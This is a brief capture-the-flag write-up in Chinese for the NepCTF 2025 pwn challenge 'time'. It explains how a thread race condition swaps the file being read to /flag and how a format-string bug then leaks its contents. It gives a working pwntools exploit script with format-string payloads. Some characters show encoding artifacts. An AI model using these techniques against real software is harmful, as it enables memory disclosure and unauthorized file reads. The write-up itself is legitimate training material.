2025_NepCTF_PWN
time
Key Point
- 條件競爭
- 格式化字符串漏洞
Attack
程序存在格式化漏洞,可以泄露讀入的文件內(nèi)容。但是對flag字符做了限制,所以我通過thread條件競爭方法來進行繞過。
在第一次讀入一個很長的字符串作為文件名,就會在第一個線程執(zhí)行md5加密時,會產(chǎn)生一段時間的延時,在這個時間內(nèi),我們在第二次輸入時,輸入/flag,導致變量file被改為/flag。
當?shù)谝粋€線程執(zhí)行完md5加密后,file已經(jīng)被我們改成了/flag字符,所以最后讀取的文件為/flag,成功將其讀入內(nèi)存中后,然后利用格式化字符串漏洞讀取flag。
exp:
from pwn import *
gdbsc = '''
b *$rebase(0x002DC1)
set follow-fork-mode parent
c
thread 2
b *$rebase(0x002D0B)
c
'''
#p = gdb.debug('./time',gdbscript=gdbsc)
p = process('./time')
p.sendlineafter('name:',"%25$lx%24$lx%23$lx%22$lx")
p.sendlineafter('read:',"a"*1000000)
p.sendlineafter('read:',"/flag")
p.interactive()
浙公網(wǎng)安備 33010602011771號